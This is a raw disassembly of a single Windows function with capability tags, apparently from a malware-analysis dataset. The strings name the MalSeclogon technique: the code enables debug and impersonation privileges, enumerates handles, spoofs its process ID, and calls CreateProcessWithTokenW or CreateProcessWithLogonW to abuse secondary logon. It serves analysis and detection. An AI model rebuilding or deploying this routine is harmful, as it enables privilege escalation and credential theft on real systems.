Function at 0x180006ac0
Capabilities:
Access peb ldr_data
Acquire debug privileges
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x10020]
mov eax, 0x10120
call fcn.180020130
sub rsp, rax
mov rax, qword [0x18002f010]
xor rax, rsp
mov qword [rbp + 0x10010], rax
xor esi, esi
mov r15d, ecx
mov edi, esi
mov qword [rsp + 0x60], rsi
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x60]
lea rdx, str.SeDebugPrivilege
call fcn.180006880
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x60], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
xorps xmm1, xmm1
mov r13d, eax
xorps xmm0, xmm0
xor eax, eax
mov qword [rdx + 0x40], r15
mov qword [rdx + 0x48], r13
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x70], rsi
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x70]
lea rdx, str.SeImpersonatePrivilege
call fcn.180006880
mov rcx, qword [rsp + 0x70]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x180006d15
lea rax, str.Token
mov dword [rsp + 0x78], 0xc000a
lea rdx, [rsp + 0x68]
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x78]
mov ebx, 0x10000
call fcn.180006980
test eax, eax
js 0x180006da0
lea rcx, str.ntdll.dll
mov qword [rsp + 0x10150], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [0x18002a390]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, ebx
mov r14, rax
call fcn.180010818
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r14
cmp eax, 0xc0000004
jne 0x180006c79
nop dword [rax + rax]
lea ecx, [rbx + rbx]
mov ebx, ecx
mov edx, ecx
mov rcx, rsi
call fcn.180013608
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r14
cmp eax, 0xc0000004
je 0x180006c50
mov ecx, dword [rsi]
mov r14, qword [rsp + 0x10150]
test ecx, ecx
je 0x180006cbb
mov r9d, dword [rsp + 0x68]
lea rax, [rsi + 8]
mov r8d, ecx
movzx ecx, byte [rax + 4]
cmp ecx, r9d
jne 0x180006cb1
movzx ecx, word [rax]
cmp ecx, r15d
jne 0x180006cb1
movzx edx, word [rax + 6]
mov ecx, edi
inc edi
mov qword [rbp + rcx*8 + 0x10], rdx
add rax, 0x18
sub r8, 1
jne 0x180006c93
mov rcx, rsi
call fcn.180010558
cmp edi, 1
jb 0x180006d13
xor ecx, ecx
lea rsi, [rbp + 0x10]
mov ebx, ecx
lea rax, [rbp - 0x78]
mov r9, r12
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x180006d60
inc ebx
add rsi, 8
mov ecx, eax
cmp ebx, edi
jb 0x180006cd0
jmp 0x180006d60
xor esi, esi
lea rax, [rbp - 0x78]
mov r9d, 2
mov qword [rsp + 0x50], rax
lea r8, str.MalseclogonPwd
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x40], rsi
lea rcx, str.MalseclogonUser
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
mov eax, dword [rsp + 0x60]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], r13
mov rcx, qword [rbp + 0x10010]
xor rcx, rsp
call fcn.18000b980
lea r11, [rsp + 0x10120]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
mov ecx, 0xffffffff
call fcn.180013454
int3